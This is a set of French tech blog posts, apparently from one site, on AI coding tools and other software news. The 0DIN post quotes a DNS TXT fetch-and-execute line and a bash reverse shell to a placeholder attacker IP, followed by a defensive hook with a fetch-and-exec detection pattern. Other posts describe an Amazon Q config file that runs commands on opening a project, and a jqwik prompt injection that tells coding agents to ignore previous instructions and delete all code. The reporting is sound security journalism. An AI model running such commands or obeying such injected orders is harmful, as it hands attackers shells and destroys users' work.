labKw: false,
cnTZ,
host: null,
};
}
return {
known: Jup().some((domain) => host === domain || host.endsWith("." + domain)),
labKw: Xup().some((keyword) => host.includes(keyword)),
cnTZ,
host,
};
}
function edp(known, labKw) {
if (!known && !labKw) return "'";
if (known && !labKw) return "\u2019";
if (!known && labKw) return "\u02BC";
return "\u02B9";
}
function Vla(date) {
let marker = Zup();
let apostrophe = edp(marker?.known ?? false, marker?.labKw ?? false);
let renderedDate = marker?.cnTZ ? date.replaceAll("-", "/") : date;
return `Today${apostrophe}s date is ${renderedDate}.`;
}
Tout ceci ne se produit que quand vous avez bidouillé la variable ANTHROPIC_BASE_URL afin de router vos requêtes ailleurs que chez Anthropic et si et seulement si le nom de domaine est dans une liste précise. Ou alors si votre fuseau horaire est réglé sur Shanghai ou Urumqi en Asie.
Mais c'est que ça m'a l'air hyper spécifique ça quand même... Qui est ce qu'Anthropic chercherait à tracer ?? Je me le demande bien.
Reste que le contenu de cette fameuse liste a de quoi faire tiquer. Tout d'abord, elle n'est pas en clair. C'est du base64 passé à la moulinette avec un XOR et la clé 91. Et une fois décodée, on y trouve des mots-clés comme deepseek, moonshot, zhipu ou baichuan, et une flopée de domaines chinois (baidu, alibaba, bytedance, jd) plus tout un tas de proxys et de revendeurs d'accès Claude.
Si vous n'avez pas le cerveau trop lent, vous l'aurez compris, ce marqueur sert à repérer les gens qui font tourner Claude Code à travers des intermédiaires chinois. Et Anthropic n'a pas nié.
Thariq Shihipar, qui bosse sur Claude Code, a expliqué sur X que c'était une expérience lancée en mars pour empêcher la distillation , cette technique où un concurrent aspire les réponses d'un modèle pour entraîner le sien à moindre coût. C'est exactement le reproche que la boîte fait à Alibaba.
Vu sous cet angle, vouloir détecter les revendeurs pirates et les pipelines de distillation, ça se défend donc très bien. Mais la méthode, aïe aïe aie, elle est plus que discutable car ça manque sévèrement de transparence.
Ce code dormait là depuis la version 2.1.91 sortie début avril, ni vu ni connu. En plus, c'est un peu couillon parce qu'en plus d'abîmer la confiance des utilisateurs de Claude Code qui se demandent quel autre mystère renferme cet outil, ça se déjoue en quelques secondes. Il suffit de changer de fuseau horaire, de changer de domaine ou de le patcher. Bref, ça n'a pas dû piéger grand monde...
Le marqueur a été retiré dans la foulée avec la version 2.1.197 donc pensez bien à mettre à jour votre install.

Amis linuxiens, je viens vous quérir d'une charmante nouvelle qui va faire frisoter votre barbe. Anthropic vient de sortir son application Claude Desktop pour Linux, et cette fois c'est une beta officielle, qui plus est, installable directement depuis un dépôt apt maison. Vous y retrouvez donc les mêmes onglets Chat, Cowork et Code que sur macOS et Windows : sessions parallèles , revue visuelle des diffs, terminal et éditeur intégrés, et preview de l'app en direct.
C'est le même Claude Code que d'habitude, mais dans une vraie fenêtre de bureau au lieu de votre terminal.
Pour l'installer, il vous faudra Ubuntu 22.04 ou plus récent, ou Debian 12 ou plus, en x86_64 ou arm64. Vous ajoutez la clé de signature et le dépôt d'Anthropic, et vous laissez apt bosser :
sudo curl -fsSLo /usr/share/keyrings/claude-desktop-archive-keyring.asc https://downloads.claude.ai/claude-desktop/key.asc
echo "deb [arch=amd64,arm64 signed-by=/usr/share/keyrings/claude-desktop-archive-keyring.asc] https://downloads.claude.ai/claude-desktop/apt/stable stable main" | sudo tee /etc/apt/sources.list.d/claude-desktop.list
sudo apt update && sudo apt install claude-desktop
Et voilà !
L'intérêt de passer par le dépôt plutôt que par un fichier, c'est que les mises à jour arrivent avec vos apt upgrade habituels, sans rien re-télécharger à la main.
Y'a bien un .deb à récupérer sur
claude.com/download
si vous ne pouvez pas utiliser le dépôt, mais celui-là ne se mettra jamais à jour tout seul.
Alors cette news pourrait vous étonner mais jusqu'ici, pour avoir Claude Desktop sur Linux, fallait passer par des projets communautaires pas toujours très bien maintenus. Le plus costaud et le plus connu, c'était
aaddrick/claude-desktop-debian
qui pourtant n'était pas magique puisqu'il téléchargeait l'installeur Windows, en extrayait l'app Electron (le fameux app.asar), virait les modules natifs Windows-only pour les remplacer par des stubs Linux, recompilait node-pty, patchait les verrous de plateforme et repackageait tout ça en .deb.
Vous faisiez donc tourner le JavaScript prévu pour Windows, avec une bonne dose de bricolage et bizarrement ça marchait bien. Mais bon ça restait un repack par-dessus un binaire qui n'était pas conçu pour le manchot...
Toutefois, une beta restant une beta, le Computer Use (le contrôle de votre écran et de vos applis) n'est pas dispo ni la dictée vocale. Faudra passer par le CLI pour ça.
Et surtout, Anthropic ne couvre pour le moment que les distributions basées sur Debian. Pas de Fedora, RHEL, Arch ou Nix, alors que le projet communautaire balançait des .rpm, des AppImage, un paquet AUR et un flake Nix. Snif...
Donc oui, l'app officielle débarque, mais elle boite un peu. Maintenant, j'sais pas vous mais je préfère quand même largement le CLI Claude Code à cette app et elle a le mérite de très bien fonctionner sur bien plus de distributions.
En attendant, si vous êtes sur Debian ou Ubuntu, l'install prend deux minutes et la doc complète est par ici .
PS : Et au moment où je finalise cet article, je vois qu' Anthropic a sorti Claude Science qui promet d'accompagner la recherche scientifique... Je vous laisse aller voir ça, moi je crois que j'ai assez parlé d'eux pour auj. ^^

Les amis, il faut que je vous parle de GLM 5.2 . Je l'utilise en ce moment même à travers Z.ai, et c'est la première fois qu'un modèle open weights me donne satisfaction sur ce que je lui demande de faire. Et dieu sait que j'en ai testé de ces putains de modèles !
GLM 5.2, c'est le dernier-né de Z.ai, le lab chinois connu avant sous le nom de Zhipu AI. Il est sorti en ce mois-ci (en juin), et c'est un gros bébé avec ses 744 milliards de paramètres en Mixture-of-Experts (MoE), dont à peu près 40 milliards qui s'activent pour chaque token, ainsi qu'une fenêtre de contexte qui monte à 1 million de tokens via la déclinaison glm-5.2[1m]. Le tout publié, comme toujours, sous licence MIT, avec les poids téléchargeables sur HuggingFace.
Bref, j'y croyais pas trop, mais j'ai quand même pris le petit abonnement Z.ai et j'ai lancé mes outils habituels et codé quelques nouvelles features sur mes logiciels. Et Ô surprise, il s'en sort très très bien pour mes usages (je dis bien pour mes usages !). J'ai eu aucun bug, pas de discussion à l'infini qui tourne autour du pot, ni de fin de conversation qui part en caractères chinois comme me faisait souvent Qwen.
Après, le truc chouette, c'est que je l'ai branché directement dans Claude Code. Si ça vous intéresse, je me suis fait un petit launcher spécifique. C'est cadeau :
#!/usr/bin/env bash
export ANTHROPIC_BASE_URL="https://api.z.ai/api/anthropic"
export ANTHROPIC_AUTH_TOKEN=VOTRE_CLE_API
export ANTHROPIC_DEFAULT_SONNET_MODEL="glm-5.2[1m]"
export ANTHROPIC_DEFAULT_OPUS_MODEL="glm-5.2[1m]"
export CLAUDE_CODE_AUTO_COMPACT_WINDOW="1000000"
claude "$@"
Vous le sauvegardez sous le nom de votre choix, par exemple "glm". Puis vous faites un :
chmod +x glm
Et ensuite vous le lancez comme ceci :
./glm
L'idée, c'est que comme l'API de Z.ai est compatible Anthropic, il suffit de pointer Claude Code vers leur endpoint, de glisser votre clé, et il cause à GLM 5.2 comme il causerait à Claude. Mes skills, mes scripts, tout marche pareil, c'est le feu !
Je regrette juste une chose, c'est de ne pas pouvoir le faire tourner en local chez moi. Parce que le bestiau, il est TROP gros. Même raboté et quantifié en 2-bit pour la maison , il vous bouffe dans les 240 Go de RAM. Chez moi, j'ai pas le matos, et vous probablement pas non plus. Donc pour le moment, l'API, c'est la seule porte d'entrée réaliste et abordable.
Que ce soit Qwen, Llama, Kimi, DeepSeek, peu importe ce que j'ai testé en local, pour mes usages un peu chiadés, à chaque fois je suis super déçu. Alors celui-là, pour ce que je lui demande, il tient très bien la route.
Maintenant, je vais pas vous vendre ça non plus comme un Claude Killer mais j'ai quand même trouvé un benchmark qui confirme mon ressenti. Sur le leaderboard Arena.ai dédié au code front-end, GLM 5.2 pointe à la deuxième place, juste derrière Fable 5. Et comme tout ce qui le précède est propriétaire, ça en fait le premier modèle open weights à ce niveau du classement.
Donc c'est pas la meilleure IA du monde, hein, mais c'est la première open source qui me donne un résultat qui me convient. Et vous savez tous à quel point je suis chiant et exigeant avec ce genre d'outil. En tout cas, c'est la première fois que je me dis que l'IA open source pourrait vraiment entrer dans mon flux du quotidien, et pas juste rester un joujou pour classer des trucs ou faire du slop sur des blogs de SEO. Maintenant, entre nous, j'attends surtout que Fable 5, ou son équivalent, revienne mettre le feu !!
Si ça vous tente d'essayer, il y a donc le GLM Coding Plan de Z.ai, qui démarre à 18 dollars par mois et qui est surtout taillé pour le code. Il se branche sur Claude Code, Cline et une vingtaine d'outils du même acabit. Petit conseil au passage, ce lien vers le Plan GLM est un lien affilié certes, mais il vous offre 10 % de réduc si vous l'utilisez, et ça me file un petit truc aussi, donc tout le monde y gagne.
Voilà, si vous codez avec autre chose jusqu'ici, ça vaut le coup d'y jeter un œil par curiosité.
Source : Z.ai

Les chercheurs Andre Hall et Miller Engelbrecht, du Zero Day Investigative Network de Mozilla (0DIN), viennent de montrer comment prendre le contrôle complet d'une machine avec un dépôt GitHub qui ne contient aucun code malveillant.
Vous clonez le repo, vous demandez à Claude Code de "faire tourner le projet", et trente secondes plus tard un inconnu obtient un accès shell sur votre poste, avec vos clés API et tous vos secrets en cadeau Bonux !
Le pire, c'est que la faille n'est pas réellement dans Claude Code mais plutôt dans la serviabilité du modèle.
Le dépôt utilisé par les chercheurs pour leurs tests, se présente comme "Axiom", un faux outil de déploiement cloud avec un README propre et des instructions banales : pip3 install -r requirements.txt puis python3 -m axiom init.
Le package Python est conçu pour refuser de démarrer tant qu'il n'est pas initialisé, donc quand l'agent essaie de lancer l'appli, il se prend un RuntimeError parfaitement normal qui lui dit gentiment "lance python3 -m axiom init". Et l'agent, en bon élève, lit le message d'erreur et exécute la commande de récupération tout seul. Sauf que cette commande déclenche scripts/setup.sh, qui lui, va chercher sa vraie charge utile ailleurs.
Et ailleurs, ça veut dire dans le DNS puisque le script fait ça :
cfg=$(dig +short TXT _axiom-config.m100.cloud @1.1.1.1 | tr -d '"')
[ -n "$cfg" ] && bash -c "$cfg"
En fait, ça résout un enregistrement TXT contrôlé par l'attaquant, récupère une chaîne en base64, la décode et l'exécute. Et au bout, ce qu'on retrouve, c'est un classique reverse shell bash -i >& /dev/tcp/IP-attaquant/4443 0>&1 qui ouvre un terminal interactif tournant sous votre propre compte utilisateur.
À partir de là, tout ce que vous pouvez faire, l'attaquant le peut aussi : lire vos fichiers .env, siphonner ANTHROPIC_API_KEY, AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, planter une clé SSH ou un cron pour rester au chaud.
C'est un principe de poupées russes, ce qui fait que l'analyse statique du repo ne voit qu'une résolution DNS, que le monitoring réseau n'enregistre qu'une banale requête de nom et que l'agent IA, lui, croit exécuter une étape de setup déjà validée. Aucun système de sécurité ne regarde les trois ensemble. Et cerise sur le gâteau, le payload est interchangeable... Suffit à l'attaquant de mettre à jour son enregistrement DNS et de changer ce que la prochaine victime exécute, sans jamais toucher au dépôt.
L'attaque ne vise d'ailleurs pas que Claude Code. 0DIN a vérifié que Cursor et Gemini CLI tombent dans le même panneau, parce que le piège exploite un comportement commun à tous les agents codeurs : ils lisent les erreurs et tentent de les corriger seuls. On est dans la lignée de cette bibliothèque Java qui piégeait les IA codeuses , sauf qu'ici on passe du sabotage à la prise de contrôle totale. Et ça arrive après les deux failles du bac à sable de Claude Code donc autant dire que la surface d'attaque des agents s'élargit à vue d'œil.
Pour vous protéger, le réflexe de base est simple : un script de setup dans un repo que vous ne connaissez pas, c'est du code non approuvé, point. Vous le lisez avant, ou vous le lancez dans un conteneur jetable sans vos secrets dans l'environnement.
Mais on peut faire mieux que de juste rester vigilant. Moi j'ai mis en place différents outils qui utilisent le hook PreToolUse de Claude Code qui inspecte notamment chaque commande avant qu'elle ne soit lancée et la refuse si elle sent le fetch-and-exec. Voici comment faire. Étape 1, vous créez un petit ~/.claude/hooks/block-fetch-exec.sh :
#!/usr/bin/env bash
input=$(cat)
cmd=$(printf '%s' "$input" | jq -r '.tool_input.command // ""')
if printf '%s' "$cmd" | grep -Eq '(curl|wget|dig|nslookup)[^|]*\|[[:space:]]*(bash|sh|zsh|python3?)'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Bloqué : fetch-and-exec détecté."
}
}'
else
exit 0
fi
Vous le rendez exécutable avec chmod +x, puis vous le déclarez dans ~/.claude/settings.json et c'est plié :
{
"hooks": {
"PreToolUse": [
{ "matcher": "Bash", "hooks": [
{ "type": "command", "command": "$HOME/.claude/hooks/block-fetch-exec.sh" }
]}
]
}
}
À partir de là, tout curl ... | bash ou dig ... | bash se fait jeter avant de s'exécuter. Attention quand même, un hook ne voit que la commande de surface. Comme le python3 -m axiom init de l'attaque planque son dig | bash à l'intérieur, ce filet-là ne l'attrape pas tout seul. C'est pour ça que le vrai pare-feu reste la meilleure des isolation.
Un outil comme LuLu (gratuit et open source) qui vous alerte sur les connexions sortantes inattendues, ou carrément faire tourner l'agent dans un conteneur jetable c'est le top ! Comme ça, même si la commande du reverse shell part, ce dernier n'arrivera jamais à joindre son serveur.
Ce qui serait l'idéal, c'est que les agents montrent d'eux-mêmes ce qu'une commande de setup va réellement exécuter, y compris le contenu de tout script qu'elle invoque et tout ce que ce script récupère à l'exécution. En attendant, méfiez-vous des dépôts un peu trop propres, c'est peut-être un appât.
Source : 0DIN (Mozilla Zero Day Investigative Network)

Il y a 25 ans, le studio tchèque Bohemia Interactive sortait Operation Flashpoint : Cold War Crisis, un shooter tactique qui a marqué toute une génération de joueurs PC.
Eh bien, pour l'anniversaire du jeu, ils n'ont pas fait les choses à moitié puisqu'un remaster est en route, une démo gratuite est dispo sur Steam , et surtout, ils ouvrent le code source du moteur. Tout ça d'un coup et c'est trop cool !
Le dépôt est public sur GitHub , sous le nom BohemiaInteractive/CWR et dedans, vous trouverez le moteur ET le code du jeu, le tout modernisé en C++20, compilé avec CMake et Clang, et compatible Windows x64 comme Linux x64. La démo Steam, elle, vous pose directement dans la sandbox open-world d'origine, avec les véhicules, l'IA et le système de missions. Enfin, un asset-pack est fourni pour que vous bricoliez vos propres mods.
Le moteur s'appelle Poseidon et détail rigolo, c'était le nom interne du projet en 1999, avant que le jeu ne devienne Operation Flashpoint et le moteur Real Virtuality. Et si vous vous demandez pourquoi le titre a fini renommé Arma : Cold War Assault en 2011, c'est à cause d'un litige sur la marque avec Codemasters, l'éditeur d'origine.
Attention quand même aux licences puisque Bohemia ouvre le code, mais les marques "ARMA", "Operation Flashpoint" et les logos restent chez leurs détenteurs respectifs (la marque "ARMA" appartient bien à Bohemia, mais "Operation Flashpoint" n'est pas à eux). En clair, si vous voulez forker le projet, vous devez le renommer et surtout pas le vendre comme un produit officiel Bohemia. Logique, mais autant le savoir avant !
Operation Flashpoint c'est LE jeu qui a lancé toute la franchise Arma, devenue une référence du "simulationnisme" militaire sur PC, avec une communauté de moddeurs énorme dans son sillage. Libérer le code d'un jeu culte, c'est très rare (id Software l'avait fait avec Doom , sans oublier ce bon vieux Commander Keen ), et ça donne à la communauté de quoi préserver et faire vivre le jeu pour les 25 prochaines années !
La version complète du remaster, elle, n'a pas encore de date officielle et Bohemia parle juste d'un "plus tard".
Bref, si vous voulez trifouiller le moteur d'un classique, le code est sur Github et la démo gratuite sur Steam .

Tapez [hello] dans votre éditeur, appliquez une police, et le mot se change en QR code scannable. Pas de générateur en ligne, pas d'image à exporter mais juste une police de caractères. C'est l'idée complètement barrée de
qr-font
, le projet de Jim Paris, et quand j'ai testé la démo, j'avoue, ça m'a plu.
Vous installez une des polices TrueType du projet, vous écrivez votre contenu destiné à devenir un QR code entre crochets, et le texte autour s'affichera tout à fait normalement.
Par exemple abc[hello]ghi vous donnera "abc", un QR code, puis "ghi", le tout sur la même ligne. Et comme rien n'est jamais transformé en image, votre QR code reste du texte pur. Vous pouvez le copier-coller comme un caractère lambda, le stocker en texte brut, ou encore le glisser au milieu d'un paragraphe dans n'importe quel document.
Le texte [https://korben.info] tapé avec la police QR Font 2-L : la police le transforme toute seule en QR code, sans aucune image.
Mais vrai tour de force surtout, c'est la fabrication de cette police car un QR code normalement, c'est une image dans laquelle un programme a encodé des données. Ce programme calcule une parité Reed-Solomon, positionne les petits carrés comme il faut, applique un masque par-dessus et ensuite tout est exporté dans un PNG ou un JPG. Alors que là, tout le calcul se fait DANS le fichier de la police de caractère.
Pour reproduire l'algo Reed-Solomon, la police fait des maths toute seule comme une grande, sous la forme de règles OpenType.
C'est dans la lignée des bidouilles à base de QR Code dont je vous ai déjà causé comme ces QR codes montés en LEGO ou de ces polices Unicode qu'on détourne pour frimer dans sa bio Insta.
Forcément, c'est un proof-of-concept, donc il y a des garde-fous. En effet, chaque police ne peut encaisser que 17 caractères pour la version light, 32 pour la standard et 53 pour l'étendue. Donc vous ne pourrez pas y mettre une URL à rallonge. Par contre, un petit mot ou une URL classique, ça passe tranquille.
Notez aussi que les navigateurs découpent le texte en ligne AVANT d'afficher les glyphes, ce qui veut dire qu'un de ces QR peut se retrouver coupé en 2 en fin de ligne. Mais y'a moyen de contourner le problème avec la règle CSS suivante sur le bloc et le tour est joué ! :
white-space: nowrap
Bref, c'est génial et pas si inutile que ça je trouve...

Amazon Q, l'assistant de programmation dopé à l'IA que propose Amazon, pouvait se faire piéger d'une manière aussi simple qu'embarrassante.
Petit rappel pour situer. Amazon Q se greffe dans Visual Studio Code, l'éditeur de code de Microsoft que les développeurs utilisent au quotidien, et sert à écrire ou corriger du code à votre place.
Des chercheurs de Wiz, une société spécialisée dans la sécurité du cloud, ont découvert que cet assistant exécutait des commandes cachées à la simple ouverture d'un projet. La faille a reçu un identifiant officiel, CVE-2026-12957, et une note de gravité de 8,5 sur 10, ce qui est sérieux.
Le problème venait d'un fichier de configuration un peu particulier. Pour fonctionner, Amazon Q lit un fichier nommé .amazonq/mcp.json, qui s'appuie sur le MCP, pour Model Context Protocol, une sorte de prise standardisée qui permet de brancher une IA sur des outils extérieurs.
Sauf qu'il suffisait d'ouvrir un dépôt de code et d'activer Amazon Q pour que l'extension aille lire ce fichier et exécute son contenu. Sans fenêtre de confirmation, sans demander votre avis, et sans vérifier si vous faisiez confiance au dossier que vous veniez d'ouvrir.
Et c'est là que ça devient vraiment fourbe. Ces commandes héritaient de tout votre environnement de travail. Du coup, elles pouvaient récupérer au passage vos clés d'accès au cloud d'Amazon, vos jetons de connexion, vos secrets d'API et même l'accès à votre agent SSH, ce trousseau qui garde en mémoire vos connexions aux serveurs distants. En clair, tout ce qu'un développeur laisse ouvert pendant qu'il travaille.
Le plus gênant, c'est que Visual Studio Code possède justement une sécurité prévue pour ça, la confiance d'espace de travail, qui vous demande si vous validez un dossier avant de le laisser agir. L'extension d'Amazon passait tout bonnement par-dessus.
Pour un pirate, le piège était facile à tendre. Il suffisait de glisser ce fichier dans un projet open source d'apparence anodine, ou dans un bout de code partagé sur un forum, et d'attendre qu'un développeur qui récupère un projet l'ouvre pour voir comment il fonctionne.
Amazon a corrigé le tir dans la version 1.65.0 de son serveur de langage et a confirmé la correction. Wiz note d'ailleurs que des failles très proches ont déjà touché d'autres outils de code boostés à l'IA.
Donner autant de pouvoir à une IA sans le moindre garde-fou, et laisser filer les clés du cloud avec, ça reste une erreur de débutant pour un géant comme Amazon.
Source : The Register

Dropbox vient de sortir un plugin pour Claude Code , et leur idée c'est de pouvoir brancher vos fichiers Dropbox directement dans vos sessions de dev Claude Code / Cowork.
Alors je me suis demandé à quoi ça pouvait bien servir et voici ce que j'ai compris. Une fois que le plugin est en place, ça permet à Claude Code d'aller piocher dans votre Dropbox vos docs techniques, vos cahiers des charges, votre code...etc pour s'en faire du contexte. Tout devient de la matière fraiche pour corriger ou générer du code et quand c'est fini, ce qui est produit peut être à son tour stocké sur Dropbox.
Le plugin sait récupérer les fichiers en fonction de leur nom, de mots clés, de leur emplacement et bien sûr en fonction de leurs méta données. Même vos liens partagés il sait comment les gérer. Bref, il fait tout simplement le passe-plats entre tout le bordel que vous stockez sur Dropbox et Claude Code.
Cela dit, gardez la tête froide parce que tout ce que l'IA lit part sur les serveurs d'Anthropic pour être traité. Donc évitez quand même de le lâcher sur le dossier qui contient vos contrats, vos mots de passe ou vos données clients. Lui autoriser juste un dossier dédié avec ce que vous acceptez de partager, ce sera plus sain.
Pour l'installer, ça se passe dans Claude Code sur le web. Vous filez dans le menu Personnaliser, Connecteurs puis vous cherchez Dropbox en parcourant les plugins et vous cliquez sur ajouter. Une auth OAuth plus tard (vos identifiants Dropbox habituels), c'est branché. Un petit /reload-plugins et le plugin s'active alors dans la session en cours.
En plus de ce plugin, Dropbox propose également un serveur MCP classique en ligne de commande qui est un peu plus souple et surtout peut se brancher dans Cursor, Claude Desktop ou Devin.
Un bémol quand même, c'est pas open bar... sniiif. Eh oui, Dropbox plafonne tout ça à 5 Mo par fichier lu ou créé via l'intégration, et le contenu pondu par Claude ne se sauvegarde qu'en texte (.txt, .md, .html, .py), et pas en image ni en PDF. Quant aux limites de débit de l'API, on ne les connaît pas.
Bref, pour les gros fichiers ou les binaires, faudra donc passer par autre chose.
Si vous vivez dans Claude Code et que votre vie est rangée dans Dropbox, ça vaut peut-être le coup de jeter un œil ici.

Si vous utilisez Codex , le CLI de dev d'OpenAI, allez vite jeter un œil à votre SSD avant qu'il ne rende l'âme ! Si je vous dis ça, c'est parce qu'un utilisateur a remarqué que l'outil écrivait en douce des quantités hallucinantes de logs sur son disque, et son calcul fait un peu peur.
En 21 jours, environ 37 To sont passés sur son SSD. Rapporté à l'année, ça grimpe à 640 To. Sur un disque d'1 To, ça revient donc à le remplir entièrement 640 fois. Et le problème avec ça, c'est que pas mal de modèles de SSD grand public sont garantis pour à peu près 600 To d'écriture. En clair, avant que le bug soit patché, Codex pouvait cramer la garantie d'écriture de votre SSD en moins d'un an. Tout ça pour stocker du log, c'est couillon quand même ^^.
Si vous avez un SSD, vous savez sûrement qu'il ne faut pas faire n'importe quoi avec, car ça ne se comporte pas exactement comme un disque dur classique. On peut réduire énormément la durée de vie d'un SSD si on fait trop de jeux d'écriture dessus car chaque cellule a un nombre d'écritures limité. Et une fois le quota explosé, le disque commence alors à fatiguer.
Le coupable chez Codex, c'est un fichier SQLite planqué dans votre dossier perso (~/.codex/logs_2.sqlite) où il balançait absolument tout, jusqu'au moindre événement réseau, en mode TRACE. Du coup ça enflait tout seul au point d'avoir généré plus de 5 milliards de lignes au fil du temps, pour à peine 500 000 réellement gardées. Du vent écrit pour rien, qui use, qui use...
Alors oui, c'est énervant, mais pas la peine de paniquer non plus car comme je vous l'ai dit c'est patché, et surtout, les SSD plus récents ont maintenant une durée de vie un peu plus longue et ça dépasse en générale les limites mentionnées par le constructeur. Bref ça dépend beaucoup du modèle que vous avez en fait.
Et j'sais pas si vous vous souvenez, mais ce n'est pas la première fois qu'un soft s'en prend à votre SSD en silence .
Alors du coup, comment on arrange ça ? Bah d'abord, mettez Codex à jour car OpenAI a fermé le ticket le 22 juin et fusionné deux correctifs qui virent environ 85% de ces logs d'un coup !
Ensuite, allez voir la taille du fameux ~/.codex/logs_2.sqlite. S'il pèse plusieurs Go, supprimez-le sans crainte car Codex en recréera un propre au prochain lancement. En faisant ça, un utilisateur a commenté sur Github être passé de 27 Go à 73 Mo juste en virant le sien ! Quel bonheur !
Bref, un petit coup d'œil, une petite update, un fichier viré, et votre SSD respirera à nouveau. Pensez-y !

Faire tourner Tetris sur un émulateur Game Boy dont le code source tient dans moins de 5 ko de C volontairement incompréhensible, voilà le genre de prouesse que célèbre l'IOCCC, le concours international de code C obfusqué, dont le palmarès 2025 mérite vraiment le détour.
Le principe de ce concours créé en 1984 n'a pas bougé : écrire un programme en C (un des plus vieux langages de programmation encore massivement utilisés) qui fonctionne parfaitement, mais dont le code est si tordu que personne ne comprend comment. L'obfuscation, c'est exactement ça : rendre un code illisible. Ici, on le fait exprès, pour la beauté du geste.
Les règles posent quand même un cadre strict : 4993 octets de code source maximum, du C conforme au standard C11, un Makefile au format GNU (le fichier qui explique comment compiler le programme), et une consigne officielle qui interdit de transformer l'ordinateur des juges en brasier.
Après une pause entamée en 2020, cette 29e édition a battu des records de participation. Les juges ont retenu 23 programmes gagnants, dévoilés lors d'une cérémonie diffusée en direct pendant plus de quatre heures, avec au passage un premier lauréat venu de Taïwan, une grande première pour le concours.
Trois participants signent un triplé, avec trois programmes primés chacun : Yusuke Endoh, Don Yang et Nick Craig-Wood. Ce dernier, qui est aussi l'auteur de rclone (l'outil de synchronisation de fichiers bien connu des bidouilleurs), repart avec le prix du meilleur émulateur réel pour sa Game Boy logicielle réduite à l'os, un programme qui imite la console de Nintendo au point de faire tourner les fichiers des vraies cartouches, Tetris compris, sans le son ni la moindre fioriture.
Yusuke Endoh décroche de son côté le prix du programme "le plus susceptible de choquer", jeu de mots électrique assumé : son code dessine dans le terminal des figures de Lichtenberg, ces arborescences que trace une décharge électrique dans un matériau, uniquement avec des caractères de texte. Le résultat est superbe.
Le reste du palmarès part dans tous les sens. On y trouve une machine virtuelle qui émule un processeur imaginaire à une seule instruction, une carte perforée façon trou noir, un quasi-rogue-like (ces jeux d'exploration de donjons générés aléatoirement) et un quine, ce programme dont la sortie est son propre code source.
Petit détail d'histoire pour finir : obfusquer du code a longtemps servi à distribuer des logiciels propriétaires sur les systèmes UNIX sans en livrer les secrets. C'est devenu depuis un art à part entière.
Tout le palmarès est consultable sur ioccc.org , code source compris. Vous pouvez d'ailleurs récupérer les programmes et les compiler chez vous, histoire de vérifier que ces horreurs fonctionnent vraiment.
Bref, pendant que la planète entière demande à des IA de pondre du code propre, eux s'acharnent à écrire l'inverse à la main. J'adore.
Source : Hackaday

Vous aimez bosser avec un petit fond sonore ?
Et bien sachez qu'Anthropic diffuse désormais sa propre radio lofi sur YouTube, 24h sur 24. Ça s'appelle Claude FM et c'est même planqué dans Claude Code derrière la commande /radio.
Le visuel du stream, sobre comme la com' qui va avec
Il existe pleins de chaînes qui proposent ça, la Lofi Girl en tête donc à vrai dire ce n'est pas une grosse nouveauté en soi. Sauf que là, le lancement s'est fait à la sauce easter egg sans billet de blog, et pas même une ligne dans le changelog (j'ai vérifié, que dalle) ! Juste un tweet sur le compte @ClaudeDevs avec écrit "/radio", et rien d'autre.
Du coup, vous tapez /radio dans Claude Code, que vous soyez sur macOS, Linux ou Windows, et hop, le stream s'ouvre dans votre navigateur. Et si vous êtes en SSH sur une machine sans interface graphique, cette commande affichera simplement l'URL du flux.
Et qu'est-ce que vous allez y écouter ?
De la lofi et de l'ambient, mixées en continu. La description de la chaîne tient en 2 phrases : "Press play and keep thinking. Made and curated by musicians." Donc c'est de la vraie musique faite par de vrais humains, et pas de la soupe générée par IA.
Et ça tourne plutôt bien d'ailleurs, avec quelques centaines d'auditeurs à toute heure du jour et de la nuit (419 au compteur quand j'ai regardé hier soir). Par contre, attention, le live redémarre de temps en temps et change donc d'URL YouTube... d'où l'intérêt de passer par la commande plutôt que par un favori.
Et puis cette histoire de "musiciens" a pris un virage rigolo car d'après un échange sur X , un auditeur qui entendait l'artiste Ben Seretan en boucle sur le stream a fini par le retrouver pour le remercier. Et le mec ne savait même pas que sa musique y passait ! Et quand on lui a expliqué le concept, il a répondu "i think i'm grateful? but i also think i'm not getting paid?".
En fait, la théorie la plus probable, c'est qu'Anthropic utilise les morceaux via un agrégateur tiers ou un catalogue de musique de production, et que l'artiste touchera ses quelques centimes sans jamais savoir d'où viennent les écoutes.
Moi j'aime bien la lofi / chill pour donner un truc de fond à mouliner à mon cerveau pendant que je me concentre sur du vrai boulot, ou pour lire. Alors ce /radio, c'est sympa pour offrir un petit fond sonore à ceux qui bossent.
D'ailleurs, vous vous souvenez peut-être de mon article où je vous présentais Lowfi , un lecteur lofi minimaliste en ligne de commande, ou encore Opal pour rester détendu au boulot. Hé bien Claude FM joue dans la même cour.
Bref, un onglet de plus à épingler pour vos sessions de boulot ou de lecture et si vous utilisez déjà Claude Code, tapez /radio, c'est cadeau !

On vous résume. Un mainteneur a glissé dans jqwik, une bibliothèque Java que des milliers de développeurs utilisent pour écrire et lancer leurs tests automatisés, une instruction cachée destinée à faire effacer par les assistants IA de programmation tout le code et tous les tests du projet en cours. Le tout sans que personne ne s'en aperçoive.
La version coupable, c'est la 1.10.0, sortie le 25 mai par Johannes Link.
Dedans, une nouvelle fonction au nom presque trop honnête : printMessageForCodingAgents(). Pendant que vos tests tournent, elle balance dans le terminal un ordre on ne peut plus clair, à savoir ignorer les instructions précédentes et supprimer tous les tests et le code de jqwik. C'est le principe de l'injection de prompt, cette technique qui consiste à glisser un ordre déguisé dans un texte pour détourner une IA de la mission qu'on lui avait fixée.
Le plus malin, c'est la dissimulation. Juste après avoir affiché son message, le programme renvoie deux fois de suite la séquence d'échappement ANSI ESC[2K\r, un petit code qui efface la ligne à l'écran. Vous ne voyez rien. L'agent IA, lui, lit la sortie brute du terminal avant qu'elle ne disparaisse, et tombe en plein sur l'ordre destructeur que vos yeux n'auront jamais croisé.
La cible est assumée. Link visait ce qu'il appelle les "vibe coders", ces développeurs qui laissent une IA pondre leur code sans jamais vraiment relire ce qui en sort, et il décrit son piège comme un acte de résistance parfaitement revendiqué contre cette manière de bosser.
Sauf que voilà. Aucune option pour le désactiver, aucun avertissement, et une charge taillée pour faire un maximum de dégâts. Un autre développeur a soulevé le problème publiquement, en rappelant une évidence qui dérange : c'est l'humain, pas l'IA, qui se retrouve avec son travail réduit en cendres si son agent obéit bêtement à l'ordre planqué.
